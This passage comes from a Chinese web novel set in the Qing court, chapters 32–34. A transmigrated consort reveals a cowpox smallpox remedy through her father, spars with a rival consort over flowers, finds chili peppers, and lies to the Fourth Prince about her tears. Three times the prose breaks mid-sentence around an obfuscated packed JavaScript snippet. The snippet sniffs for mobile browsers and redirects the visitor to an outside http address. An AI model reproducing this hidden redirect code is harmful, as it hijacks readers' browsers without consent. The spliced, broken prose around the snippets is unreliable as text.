但就算如此,女儿也依旧是立了功,四爷又占了大部分好处,为了面子,他日后就算不宠女儿了,女儿也不会过得艰难。 谁让这世道多得是娘家富贵女儿却依旧在后院受苦的例子呢,傅父往日听闻都心颤,是万分不愿这事发生在自己女儿身上的。 三兄弟特意站远了点,没去听阿玛额娘的私密话,等看到傅父转过头来,眼圈泛红时,还有些意外,面面相觑了下,没有在此时问出来。 反正若傅父想说,等回家了都会告诉他们,若没说,那就是有不说给 他们听的理由。 四爷歇息的庭院要比福晋的大,甚至还有专门腾出来见客的书房,四爷此时便坐在桌子后头,垂眸面露思索之色。 苏培盛小心翼翼地将桌上摆放着的多余的茶盏拿走,再走到门口转手给小太监,这过程没发出一点声响吵到四爷。 这次只有福晋的家人没来,其她格格的家人则都来了,毕竟福晋是正妻,平日里经常出门跟皇家的嫂子弟媳结交,也不缺和家人见面的机会,福晋便没通知自己家里人。 很有意思的一点是,因为四爷来到寺庙后只去见了福晋和傅雅,而福晋的家人没来,所以只有傅雅得到了四爷的特意叮嘱,让她家人来见自己,可偏偏宋格格、李格格和汪格格的父兄却要比傅雅的父兄更早来面见四爷。 世人都爱趋炎附势,他虽只是个光头阿哥,可毕竟是皇位上坐着的人的亲儿子,稍微松松手漏出的机会也是很多人要争破了头才能碰到的,所以四爷可以理解李格格她们的父兄如此殷勤的原因。 可正因如此,有些感情便因此凸显出来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13266498|136223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 显得珍贵了。 这一对比之下,倒也不是说四爷生气,只是他却从中察觉到了傅雅的父兄对她的疼爱和看重。 四爷就想,难怪小格格整天跟个小孩子似的,连泥土都能玩起来,有这样的家人宠爱着,自是要天真许多,毕竟什么事都不需要她发愁么。 难得的,四爷发现自己竟有一丝丝的艳羡。 大概人都是如此,缺什么,就向往什么。 四爷觉得自己喜欢待在小格格那,约莫也是喜欢她的家人用情感赋予她的这层美好。 苏培盛从外头走了进来,对四爷道:“主子爷,富察格格的父兄来了,在外面等着面见您呢。” 四爷嗯了声,“请进来吧。” 没多久,苏培盛便领着傅父和富察家三兄弟走了进来,这父子四人气质各有不同,但继承自父母的好相貌让他们都显得一表人才,让四爷都觉得眼前一亮。 本身他就对富察家的人有了一点好感,如今一见面,四爷便更加满意了。 父子四人向四爷请安又被叫起后,便坐到了四爷赐下的座位上。 四爷先和傅父聊了几句,又跟三兄弟都交流了一遍,心中就略微有些底了,嗯,这 父子四人都不是金玉其外败絮其中,都是有些本事的。 等再聊了一会,他的印象就又刷新了。 难怪傅父会在侍读位置上待这么些年,也不是说不懂做人,而是少了那么点进取的心情,容易满足,看来小格格那丁点事情就爱笑开怀的性格更多的来自于傅父,而不是他没见过的陈母。 傅父的三个儿子都比他要更有进取之意,尤其傅文,四爷认为只要这人未来行事谨慎,不站错队,那官居三品的概率不会很低,至于傅铎,此人志向在战场,四爷只能看出他性情不是那等软弱之人,但光靠嘴上这么聊几句是不能试出他在军事上的天分如何的。 傅敏么……虽有些圆滑,是个偏门的人才,但是却需要再磨一磨,免得过于浮躁了,容易着了人的道。 聊了约莫有一个多时辰,四爷拿起茶盏喝了口茶水润润喉咙,打算就此结束。本来他特意叮嘱傅雅,也只是想先对她的家人有个大概的了解,看看是不是真的像傅雅说得那样有几分本事能为他所用。 如今他心里已经对这四人有了评价,只等着日后再考察几分。 傅文三兄弟便起身和四爷告退,四爷将茶盏放回到桌子上,抬头时发现傅父还未离开,他脸上便流露出一丝疑惑,“傅大人还有事?” 傅父整理了下自己的衣冠,很是严肃地准备跪下行礼。 四爷丢了个眼神给苏培盛,苏培盛连忙上前托住了傅父的肩膀,“傅大人何必如此客气,您有什么话便直接说出来,主子爷听着呢。” 傅父发现自己还没苏培盛力气大,只好乖乖又坐回到了位置上。 “臣要说的事情,尤为重大,且一旦能成,可造福千万人家,甚至青史留名。” 四爷的身体立刻坐直了,他的脸色也由一开始的放松变得认真起来,甚至隐隐散发出些许皇子威严。 “傅大人,我与你方才有过交流,也信你不是口出狂言之辈,”四爷沉声道,“可你也知,青史留名有多艰难。” 傅父受四爷气势影响,本就有些紧张的情绪更加紧绷,袖子底下的手都攥在了一起,但他面上却努力淡定着,没有流露出异常来,因为他在官场上的经验让他明白,有时候一件事的可信度如何,也看叙述人的表现。 惶惶不安者说出来的话,会让人先天就多了一份不信任,若是淡定稳重,那就算说天塌了,可能听的人也会下意识先抬头看天,再来质疑这话的真假。 傅父抬头直视四爷,顾不上这行为有些失礼。 他道:“那是因为臣要说的,正是人人闻之色变的天花,而且是有关治愈天花的事情。” 四爷瞳孔紧缩了一瞬。 作者有话要说 第 32 章 啊啊啊,气死她了 父子四人在四爷那里聊天时,傅雅和陈母则在寺庙逛了起来。 两人也去拜佛求了签,陈母求的是家人平安,得了上上签,傅雅求签时没想太多,只是在看到签文要落出时,脑海中一闪而过也不知自己未来躺平之路能不能顺利的念头。 等拿着签文去找解签的寺人,寺人将傅雅的签文解释了一通,概括一下意思就是峰回路转,虽然是中签,却也是好签。 傅雅听到是好签,就没在意它不是上上签了,反正结果是好的就行。 快乐的时光总是短暂的,傅雅觉得只是一眨眼,与家人见面的时间便过去了,再一眨眼,又从寺庙回到了四阿哥府里。 都说人放假后再上班都会有些提不起劲,傅雅发现自己在外头逛了一圈,见了家人,又回到后院后,也有了种恹恹的感觉,也就前日收到家里回信才稍微提起点神。 她不知道的是,若不是日子太短,明摆着不可能,巧琴她们还以为格格是有孕了,就算如此,她们也都背地里交流了好几次,才遗憾地放弃了这个猜测。 不过几个丫鬟讨论了一番后,巧画冷不丁道:“主子爷是不是有好些天没来了?” 巧琴一怔,旁边巧书道:“也没有多久吧,从寺里回来也才过了十一二天而已,连半个月都不到呢。”就她们打听到的,格格还没进府前,主子爷都经常十天半个月不进后院。 “话不是这么说的。” 巧琴眉头皱了起来,她看了眼巧画,亏得她才是贴身伺候格格的,可却没有巧画那么快察觉到不对,是她往日有些飘了,她收回视线,仔细给巧书她们解释起来。 “这几日,四爷可是来过后院的,见了福晋,也见了李格格,连宋格格那边都去了一趟。” 巧棋纳闷,“那不是还有汪格格和我们格格一样么?” “所以我想,汪格格那边估摸着也察觉到了,”巧琴声音一顿,眉头蹙得更紧,才继续往下说,“说不定这后院里的人都在等着看呢,谁才是落到最后面的那个。” 巧书和巧棋对视一眼,都有点儿慌,“可、可前些日子,在寺庙的时候,主子爷都和格格好好的呢,等等……”像是想到了什么,她们更慌了,“格格这几日提不起劲来,该不会就是因为这事吧?” 巧琴抬手就拍了她们两人肩膀一下,“你们也不要自己乱了阵脚,”她沉声道,“我们在这里乱猜测也没有用,格格终归是比我们要清楚些的。” 之后巧琴从下人歇息的隔间出来,进了格格的房间。 傅雅此时正趴在榻上的小桌子上,手里抓着把黑棋拨弄着,时不时还打着哈欠。 她听到脚步声,回头看向巧琴,察觉到她脸色不对,便问她,“怎么了?” 巧琴犹豫了下,还是说出了她们这几个下人察觉到的事情。 “唔,我说呢,你们这几天总是悄悄看我,又不说在看什么,”傅雅恍然大悟,她好笑地摇头,然后对巧琴道,“先只说这后院,我的膳食有变回原来的样子么?” 巧琴想到格格一如既往的超出格格规制的膳食,摇了摇头。 傅雅便道:“这膳房的消息向来灵通,既然他们态度没变,说明我在这府里还没被盖上失宠的签儿,对吧?” 巧琴点头。 傅雅又拿起手旁的信,朝巧琴晃了晃,笑道,“我阿玛和我说了些事,简单来讲,就是我二哥被四爷派去看管些东西,三哥也被四爷支使着办事去了。” 她开玩笑道,“你家格格总共也就那么几个家里人呢,就有两个忙得快落不着家了,只看这情况,四爷总得给我些面子吧。” 有傅雅这一番解释,巧琴相信了格格还没失宠,也放下心来。 不过傅雅还有话没说。 那就是她懒得去猜。 都说女人心海底针,她觉得男人也不遑多让,更不用提四爷还是在皇家这种复杂环境成长起来的,她又不想当四爷肚子里的蛔虫,愿意在他来的时候营业一下已经是她敬业了。 私底下就让她歇歇吧。 阿玛的来信里已经说了,四爷正在着手搜集这些年京城附近有过天花疫情的地方,还有牛发痘感染人的病例,用以验证牛痘一事可信度有多高。 反正查就查嘛,傅雅既然敢说出来,就是不怕查。 未来有牛痘这份功劳在,只要她现在不追求什么侧福晋,以后不追求什么贵妃皇贵妃,四爷就算不宠爱她了,她日子也不会难过。 那还关心一个男人干嘛? “不过,你说得也对。” 傅雅 猛地支起身体拍了拍自己的脸她的确是不能再继续懒散下去了越懒散越容易提不起劲。 都憋在后院里了她就得多给自己找找乐子反正总比去猜个男人的心思有意思。 “今日就出门逛逛去。” 此时已是四月初比起三月的气温要提升了点傅雅逛到花园里时见到的花儿都多了些她站定到一丛开得茂盛的花丛前欣赏起来在花园里打杂照顾这些娇嫩花儿的小太监立刻上前给格格介绍。 “这是牡丹花呢格格您若是喜欢奴才给您去花房里搬上几盆来。”小太监一脸讨好地笑。 傅雅见他年纪也不大也没揭穿他想拿打赏的心思点点头道“你直接带我去花房吧我再看看有什么好看的花能挑挑。” 小太监脸上的笑都变得灿烂起来也多了真心“是格格!奴才给您带路!” “等等。” 不远处传来李格格的声音傅雅正欲离开的脚步一顿转过头来就见到一行人朝她的方向而来。 比起她只带了巧琴李格格的阵仗可要大得多了。 两个丫鬟托着她的手往前走还有两个丫鬟跟在她身后那位请到府里的养生嬷嬷也跟在她身边傅雅就想真是可惜了这路不够窄没阻了这李格格前进的方向。 李格格走近了视线落到小太监身上抬起下巴对他道:“你跟着人走了谁来给我介绍这些花啊?” 小太监额头渗出了汗水有些后悔刚刚为了赏银冒头以至于如今夹在这等为难的境地。 李格格便得意洋洋地看向傅雅。 傅雅呵呵一笑 “你看李姐姐如今已是最为关键的时期这事可轻忽不得。” 李格格有些傻眼了没想到傅雅换了个赛道对付她她有点儿气又怕傅雅说得是真的就忍不住看向养生嬷嬷。 “奴才也曾听说过此事也有认识的人聊起过不过李格格不像是有此症状的。”嬷嬷老神在在回答得十分有端水水平没否认傅雅的话也没阻 拦李格格继续赏花。 主要她就是来伺候个孕妇的等孩子生了还不一定留下来呢她也并不想掺和进两个格格的纷争里。 但她这句话的份量对李格格来说已经足够了就算现在她没过敏她也不想待下去了。 就现在她都莫名觉得身上痒痒儿的呢。 都是富察傅雅说的这番话才让她开始不对劲起来李格格瞪视傅雅。 傅雅继续微笑“那李姐姐想看花便继续看吧我先离开了。”说完也不等李格格再开口她就带着巧琴径自离开了留李格格对着她的背影无能狂怒。 这种一拳打进棉花里的感觉…… 啊啊啊气死她了! 两人都不知在某个角落里她们俩发生的争论被汪格格看了去。 汪格格也是打算出来逛逛的 这事令她心有郁郁就想着出来疏解心情没想到正好撞到这一幕。 她若有所思。 虽然富察格格拒绝了她的提议可如今看来她和李格格关系也好不到哪里去那就算没联手其实也没关系吧反正富察格格不会在李格格面前退让。 等走出花园了傅雅让巧琴随便找了个下人问出了花房的位置。 往花房路上走时她扭头对巧琴道:“回头你让你手下的人给那个小太监赏银。” 巧琴应是“格格您就是善心。” 傅雅想那是因为这种事对她来说不算什么但一点赏银却可以让小太监改善几日的生活条件。 上头的人一点动静就能让下头的人产生震荡她不想和李格格吵太监的事也是觉得做下人本来就不容易了何必再让他陷入麻烦呢。 四爷府里的花房位置比较偏被分配到这里的下人可以说是工作累又没什么油水毕竟主子们赏花的时候可不会想到是谁在照顾它们的不像是在膳房吃得好了不仅有打赏说不得还会见一见大厨也不像是针线房 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13266499|136223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要给主子量身见主子的机会也多。 因此傅雅过来一事立刻就让整个花房的人都震动了。 性子灵活的太监立刻凑过来给傅雅 介绍,“格格您喜欢什么颜色的花儿,还是喜欢名贵点的,这里都有呢,不止是这个月份开花的,就算是其他月份的,我们这也是不缺的。” 花房是有布局的,那种暖房可以说是一年四季都不停火,总是暖烘烘的,就是为了养些过于娇贵的,或是不当季的花儿。 傅雅不止看到了牡丹花,还看到了海棠,甚至还有玫瑰。 她跟着太监的引导边走边看,等走到暖房时,眼尖地瞅见了个很眼熟的东西。 准确的说,是她穿越前很眼熟的玩意。 长长的,尾端略翘,颜色鲜红—— 正是辣椒。 “那是什么?”她克制着自己略有些激动的情绪,问花房的太监。 太监看了眼,立刻解释起来,“这是从外面传来的玩意呢,就是那些洋人的家乡,他们都把这个当观赏物,说是果子颜色鲜艳好看。因着是洋人那的东西,大家都叫它番椒,不过最好不要用手去碰,碰了也不要接触眼目,否则火辣辣得疼呢! “因为放在暖房里,它倒是能繁殖起来。格格您要是喜欢,奴才给您端几盆,您欣赏就好,千万别用手碰。” 傅雅记得辣椒是明朝就传进来了,只是等到国人真正把它当菜,那基本就是清朝中后期,所以她是一直没抱希望的,谁能想到如今竟在这里看到了,而且很巧的是,因为被搬到了暖房里,本来该是夏天才成熟的辣椒如今竟也结了果子。 她本来还在想春笋用来做什么呢,如今倒是可以考虑做个泡椒春笋。 一想到自己终于能够尝到阔别十几年的辣椒,傅雅觉得自己此时嘴里便口舌生津了。 “这果子有验过能吃吗?”她说。 太监啊了一声,弄不太明白傅雅怎么问起这个,但还是回答了,“能吃倒是能吃,但味道实在呛人,太医院倒是说可以当个药材。” 既然已经被下了定论可以吃,那傅雅就能安心折腾吃食了,也不担心别人拿去做把柄。 她立刻道:“那给我来几盆。” 太监哎了一声,连忙给傅雅准备起来,之后傅雅又要了一两盆闻着好闻的花,才离开花房。 出花房前,太监忍不住小声叮嘱巧琴,“巧姑娘,你可千万和格格说一声,那番椒真别吃。”吃了要是 把格格呛出毛病了那他们整个花房都要吃挂落。 巧琴也有点儿愁她也担心啊可是格格也不是她能够劝得住的。 ……要是主子爷在那肯定就能拦着了。 冷不丁的巧琴这么想。 前院里四爷才从外面回来奔波了大半天他额头和后背都渗出汗梳洗了一番又换了身衣服才觉得舒服起来。 趁着四爷被人服侍的这段时间苏培盛也连忙打理了下自己的外表这半天不止是四爷他这个四爷身边的人也跟着来回跑快跑断一条腿了。 等四爷从屏风后出来时苏培盛已经弄好候着了 四爷拿起喝了口缓着呼吸呢就见到李顺昌的身影出现在门口“进来吧。” “主子爷吉祥。”李顺昌一进来便跪地起来四爷嗯了声“事情做完了?” “是主子爷您要的都记录在上面了。”李顺昌从袖子里掏出一叠纸双手呈上苏培盛上前拿了过来李顺昌微微抬头看了苏培盛一眼心中再一次可惜。 这都是太监怎么他硬是被这苏培盛拦了这么些年成不了四爷身边最得力的手下呢。 苏培盛察觉到他眼神转过身来时心想你就想着吧! 四爷闭着眼算是闭目养神“你来念。” “嗻。” 苏培盛应诺看着纸上的字念了起来。 “康熙XX年XX月京城外四百公里处有村落出现天花疫情被隔疫情未散开村死五十六人活六十一人……” 之后的内容也如这条一般都是记录了这十几年里京城周边发生了天花疫情后的结果。 作者有话要说 李格格大概就是那种一顿操作猛如虎再看战绩零杠五 李格格:你礼貌吗? 第 33 章 她连在意爷、喜欢... 自康熙大力推广天花预防工作,并扩展至八旗百姓后,这些年来京城其实基本没有再发生大型天花疫情了,但这“种痘法”也不是每个人都弄了的,加上这法子也不是百分百成功,可能失败甚至导致死亡的情况难免让一些人产生犹豫,尤其是乡下这种倾向于自给自足没太大余钱的,没去种痘的人就比较多。 所以天花虽然没有大范围散播开来,可时不时的冒出些小型的情况还是有的。 那日傅父所说的内容,其实很有条理,听着也很有说服力。 大概是说傅雅会经常去傅父书房翻阅里面的书籍,从医书上了解到了人痘,以及种痘法的详细过程,对天花还有种痘后出现的症状都有所了解,正巧,因着傅雅未被父母拘在家里,她跟着三个兄长到处跑,乡下也没少去过。 于是就有那么两三回,她见到牛身上也冒出痘来,而跟牛接触得比较频繁的人也冒了痘,甚至有轻微发烧的情况,只是都不太严重,这些人都熬了过来,也没觉得自己是感染了天花。 可傅雅因为医书,便感觉这过程和种痘有点儿像,心里就对这些人留下了点印象来。 这中间又是几年过去,傅雅所知的那几个被牛感染的人里面,正好有两个人的村子都出现了天花,等这疫情结束后,又是几年,傅雅才又与这两个村子有所接触,她便发现这两人都活着,而且据周围的人说,他们在村子被隔绝期间,都没产生得天花的迹象。 当时的傅雅年纪不大,虽然觉得有些奇怪,可毕竟没那么快联想起来,直到今日,她突然意识到,既然可以用人身上的痘痂来给人种痘,那牲畜感染了天花,是不是也可以这么做。 而且她那时候见到的被牛感染了而发痘的人症状和种痘极为相像,可反应又比种痘要轻,是不是她无意间发现了另一个预防天花的办法。 傅父道,他女儿想到这事,不敢隐瞒四爷,正好他们父子四人要面见四爷,傅雅不愿再等,便直接让傅父来转述。 说完这些,傅父又起身弯腰欲行大礼,被苏培盛再此拦了后,他道,他自知这些只是女儿嘴上所说,可此事的确重要,他也不敢瞒下来先去找了那两个得痘的人得了切实的证据再禀告四爷,便只好在此时先说出来。 这番话里的潜台词,都是在表 示傅雅心里四爷为重,富察一家也是如此。 四爷听话听音,自是安抚了傅父一通,表示我知道你们一家都是一心向着爷才会如此,这是好事,他若计较才是他心胸狭窄。 至于这查验的事大可以由他来安排,就算未来查出此事只是巧合而非真的有了新的且副作用低的预防办法,四爷也不会怪罪富察一家。 是的,四爷虽然嘴里安抚了人,但该查证的依旧要查证。 他不可能仅凭傅父嘴里几句话就相信了这事,然后忙不迭开始试验,那就太蠢了。 尤其当它还牵扯到他印象里只与天真单纯挂钩的傅雅时。 新的天花预防办法和他后院里的小格格? 四爷总觉得这两个放一起颇有些微妙。 只是四爷刚有了这个念头,康熙那便有了事情派下来,还是和之前要他们几个皇子商讨的安置八旗底层子兵的事,折子上去了,不管康熙有没有采用他们的办法,但总归是要改善一下的。 四爷脱不开身,便只好将这事派给了李顺昌和傅敏。 傅敏擅长与人打交道,这搜集近些年天花疫情资料的事也很是适合他,至于李顺昌,一是辅助,二也是监督,以免傅敏在资料上做伪。一旦找到和曾被牛感染发痘的人,仔细询问过情况后再以利益诱之,如今皆已到了四爷在郊外的庄子里。 那是特地被腾出来的地方,若此事非虚,未来会用作试验场地,这些人一是方便大夫询问,二也是能打下手。 傅铎便被派到了这里,负责统筹庄子里的人事调动,庄子本身的总管则做副手,以查漏补缺,四爷正好借此看看傅铎的本事。 这庄子里的下人护卫虽不是兵,可也能考验傅铎调度手下的能力,只要傅铎未来不是只想成为个大头兵,御下指挥的技能就是最基本的。 除此之外,四爷暗地里还安排了人,这些是负责暗中查探,用以互相验证。 等苏培盛念了有一会了,四爷打断了他,“说说吧,里面有几个是能够明确确定在这之前曾与发病的牛有过接触,且出现类似症状的,如今现状如何? 苏培盛便停了口,将纸张翻阅了下,心中打好稿后,才继续开口。 “XX村有牛染病,牛身有水疱、脓疱症状,之后有六人出 现发痘情况一人为放牛郎发痘时年八岁两人为放牛郎祖父母发痘时年半百还有两人为放牛郎好友一人为女 “放牛郎祖母在得病当年逝世又二年放牛郎祖父离世一年后天花疫情出现四人皆活再四年壮汉离村今不知下落还剩三人在村。” 四爷依旧闭目听着直到苏培盛念完后他才睁开眼眸光深沉。 “那两个人找到了?” 这里说的两人是傅父口中的那两个。 苏培盛点头“是如今已带到了庄子里正由傅铎大人看着呢。” “都打听过了?” “都仔细打听过了没人发现打听的人是您手底下的人”苏培盛道“他们问过那两个村的其他人确认这两人是本地村子的不是后面迁徙过来的。也有人的确回忆起来村子里曾有牛发病那两个人也发了痘。 “一开始还有人担心是天花看他们很快没事才放下心来因着跟天花有些像就被人记住了这事。 “另外他们也从村人口中得到证实多年前的确有衣着富贵长相好看的四个孩童到过他们村子。” 四爷没再开口只屈指在桌面敲着指尖与桌面接触时发出的声响一声比一声缓慢流露出他些许深思的情绪来。 所有村子统计下来被牛感染的人有七八十可在感染时死掉的却只有四五人还多是年老体衰者而这些人在后面的天花疫情里全都活着至少说明了这牛痘之法不是全然的子虚乌有。 想要做一件事有需要谨慎的地方但也有去赌的时候。 如今他所收集到的资料虽还不是百分百肯定可这其中的好处已经足够四爷去赌一把着手试验牛痘一事了。 但也正因如此种种情绪交杂让四爷此时有种说不出的微妙感。 古往今来天花令人闻之色变但凡出现就必带走大量性命就算是在大清这天花都带走了世祖皇帝若不是有种痘法被皇上大力推广只怕依旧会四处肆虐。 可如今却有一个疑似新的天花预防办法出现了。 而察觉到这个方法的却是四爷后院里他一直觉得 过于天真的小格格。 这种原有印象被打破的冲突感让四爷觉得有些不太适应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13266500|136223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他忍不住地去回想傅雅与他相处时的一举一动,忍不住地猜测她在他面前表现出来的性情是不是伪装的,真实的她是不是没有那么简单。 但四爷又觉得自己不是生气。 因为他不是不知道后院女人在他面前一个样,在其他人面前又是另一个样,无论是福晋还是李格格她们,四爷都知道她们的不同。 可这种不同放在傅雅身上,四爷发现自己竟没那么容易接受。 也许是因为他在傅雅那里待得很是轻松,也许是傅雅的家人给他的感觉很好,也许…… 总之,这说不清道不明的感觉是四爷这么些天一直没去见傅雅的原因。 书房里一时安静下来,唯有笃笃的指尖敲击声在空间里一声声回荡。 半晌,敲击声停住。 “苏培盛。 “奴才在。苏培盛立刻打起精神,就听四爷道,“后院里都如何了? 苏培盛心思转了转,小心回话,“福晋前几日受凉,如今已好转。 四爷嗯了声,这些天里,他去福晋院里的那次就是因为她病了去看望她,不过福晋说怕过了病气,不让他继续待着,便也只在正院坐了一会。 “李格格胎像依旧很稳,嬷嬷说只要注意饮食莫过量就好。 四爷眼皮往下搭了搭,像是在听,又像是养神。 “宋格格这些天都没再看大夫了,身体看着有好转。 四爷没说话。 “汪格格支人去针线房要了上好的丝绳,说是要给主子爷您做东西呢。 四爷心想,约莫是要做些挂玉佩的绳结,他后院的女人已经给他做了好几个了。 苏培盛声音停顿了下,清清嗓子,才道:“还有富察格格—— 四爷原本半眯着的眼睁开,不过面上神情没动。 “富察格格听说这几日精神头不大好,不过倒是没请大夫,应是没大碍。 精神不大好却没生病……是察觉到爷一直没找她了? 四爷不动神色地问:“这些天后院里有人来前院找爷么? 苏培盛很想说有,但他只能回答:“没有,主子 爷。” 四爷:“……” 他神情虽然没变但周身气势却往下一沉苏培盛是什么人那是跟在四爷身边多年的手下自是看出来四爷不太开心了。 四爷心情的确不太好算不上生气更多的是郁闷。 他没忘记自己之前给过傅雅特许允许她有事可以派手下来前院找他这些天四爷虽然没去她院子可也没断了这条路。 四爷觉得小格格既然没有自己想的那么单纯那么肯定能察觉到他一直没来的事情说不得坐立难安下便会派人来前院试探一下结果等到今日四爷都没等到后院来人。 难不成…… 她连在意爷、喜欢爷的这件事都是假的? 四爷终于忍不住怀疑起来了 本来还坐着的他站起身来绕过桌子大步往外走“去后院。” 苏培盛连忙跟上“嗻。” 他瞅着主子爷的神态心中暗想这富察格格……自求多福吧。 “阿嚏!” 正在处理春笋和辣椒的傅雅猛不丁打了个喷嚏她接过巧琴递来的手帕擦了擦纳闷地想谁在念叨她呢难不成是李格格? 作者有话要说 有人轻微的破防了是谁我不说 第 34 章 这分明就是主子爷... 傅雅如今只是个格格,若不是四爷后院里的人还少,加上福晋没有刻意为难,她也不能够独占了这一个院子,而不是和其她格格同居。 后面就算受宠了,又被四爷补偿,也只是提了她膳食的品质,没有给她在自己院子里单独设一个小厨房的资格。 别说她了,连李格格这样有孕,需要在膳食上注意的,也没能在自己的院子里安一个小厨房。 不过傅雅想要做的泡椒春笋本来也不是什么需要费劲折腾的大菜,只能拿来煮药的炉子就足够用了,反正她也没生过什么病,这小砂锅还没沾上药味。 这也是为什么她没将东西交给膳房,而是在自己院子里折腾。 “格格,要不就让膳房的来吧,您看您都被呛得打喷嚏了。 “肯定是有人嘀咕我呢,傅雅不以为意,她又没拿大锅热油呛辣椒,只是自己上手切切菜而已,不至于这么夸张,“只要不凑近了闻,不可能被呛到的,你看你在旁边站着也没事。 巧琴:“…… 她一跺脚,心想,奴婢情愿自己有事呢,这样就能拿这理由拦住格格您了! 巧琴对这番椒实在陌生,而且它颜色又那般鲜艳,虽说经过太医院验证是可以吃的,但一联想到同样颜色鲜艳的蘑菇大多却是有毒一事,她就觉得毛毛的。 她没忘了格格当初答应主子爷的事情,这东西……可是有可能会入主子爷的口的啊。 ……真要把这东西给主子爷吃吗? 巧琴想想就眼前一黑。 但是她也看出来了,自己是阻拦不了格格的,要是能拦得住,那格格也不会在这里切番椒了。 拦又拦不住,劝了也没用,巧琴情绪很是焦灼,脑子里的弦都崩得紧紧的。 有些人被逼到一定程度了会反抗,有些人则会选择摆烂,巧琴此时则成了后者,她想了想,反正番椒没毒,到时候格格给主子爷吃了,不过就是三个下场—— 主子爷觉得好吃,赏。 主子爷觉得味道一般或者不好吃,可能看在格格的心意上,赏,也可能不赏。 主子爷觉得自己被耍了,惩罚格格,她们这些下人也跟着受罚。 于是巧琴突然就想通了,这三种情况,有两个都是好的呢,要真是 运气差了偏偏踩了最后一种那就是格格的命也是她们的命。 傅雅再一抬头就见巧琴面色都舒缓了下来本来隐隐带着的焦虑也消失了她有些意外也有些好奇巧琴都想了些什么才自己说服了自己。 要知道无论之前她怎么说巧琴都挺担心的傅雅也能理解她们和她不同在身份上是服侍人的下人比她受得压迫更重些因此在面对拿捏她们生死的四爷时那种恐惧更放大了几分。 但傅雅毕竟骨子里的灵魂来自现代所以她虽然也厌恶这种生死被掌控的感觉可不会让这种想法屏蔽掉她的理智。 以她对四爷的接触她看得出来这位不管未来会不会刻薄寡恩吧但对他的女人还是比较容忍的除非是踩到了他的底线否则寻常事情让他不满了他最多训斥几句或是责罚一下但不会真的下死手。 所以她是不担心仅因为一道菜就惹来惩罚的最多就是被四爷冷落几天而已。 “格格您还需要什么奴婢来打下手。” 想通了的巧琴也主动起来傅雅便安排她帮自己处理蒜葱姜旁边巧画巧书巧琴三个不比巧琴贴身伺候傅雅有几分面子情还敢劝上一劝她们一直都是默默做事比如烧水剥笋皮之类的。 如今看到巧琴都败退了三人对视了一眼发现大家都不怎么意外。 毕竟格格做了决定的事情巧琴就没一次拦得住这次也只是这种情况再次上演罢了。 主仆几人干得热火朝天的因为热水烧起来了渐渐也有蒸汽蔓延而上在半空之中溢散开来连在院子外头都能瞧见这股升腾而起的烟火气。 四爷匆匆走到映月阁时便瞅见了这一点但他脑子里被傅雅可能欺骗了他的事情占据一心想着找傅雅问个明白这一幕只在他视线停留了一瞬 门口下人请安的声音被他甩在身后等走进院子沿途的下人纷纷跪地请安。 赵德利本来在吩咐手下注意走水的事在他看来格格这是图新鲜才自己折腾东西他一个太监那自然是顺着格格给格格准备东西但也得注意别出了事比如被弄得起火了。 等他看到四爷身影时忙不迭跪地请安一道阴影从他头顶落下 又离去,赵德利的心却似乎依旧陷在了阴影里。 主子爷周身的气势……看着不太妙啊。 他忍不住为格格担忧了起来。 四爷离厢房越近,脸色就愈沉,因为他没有拦着通报,所以已经做好了傅雅从厢房里出来朝他请安的准备,于是等他看到傅雅在院落空地朝他下蹲请安时,也没有意外。 只沉着语气喊她:“富察氏—— 傅雅抬头,“四爷? “…… 两人一对视上,四爷盯着傅雅,眉头皱了起来,话到嘴边已变了样,“你……怎么哭了? 他没想到,自己还没开始逼问呢,眼前的小格格却已经眼眶通红,还有泪水在她眼睛里打着转儿,一副可怜模样,本来四爷都已经做好了逼问的准备,如今这话却卡在了喉咙里,下意识询问起来。 这一询问,他的气势便弱了下来。 四爷就想,难道是自己猜错了,小格格其实是想着自己的,甚至看到他来了都忍不住哭了? 傅雅不知道四爷在想什么,但她不傻,眼睛也不瞎,看得出来就在前一秒四爷神情还很不对,只是因为她此时的神态才缓了气势。 于是她没说是自己刚刚兴致上头亲口尝了切碎的辣椒,忘了这身体十几年来都没碰过这种辣度,承受度还没练出来,以至于被辣出了眼泪。 想也不想地,她的谎话张嘴就来。 “是我太想四爷了,她说,发挥了自己有生以来最好的演技,含情脉脉看着四爷,语调缱绻,“我都觉得有一辈子没见到您了,四爷…… 你看我想你想得一见面便情难自已,还流眼泪了,反正不管我是哪里惹到你了吧,你还好意思和我计较吗? 小格格的确是一直念着他,这就说明他之前的猜测的确猜错了。 在这一刻,两人的脑电波对上了。 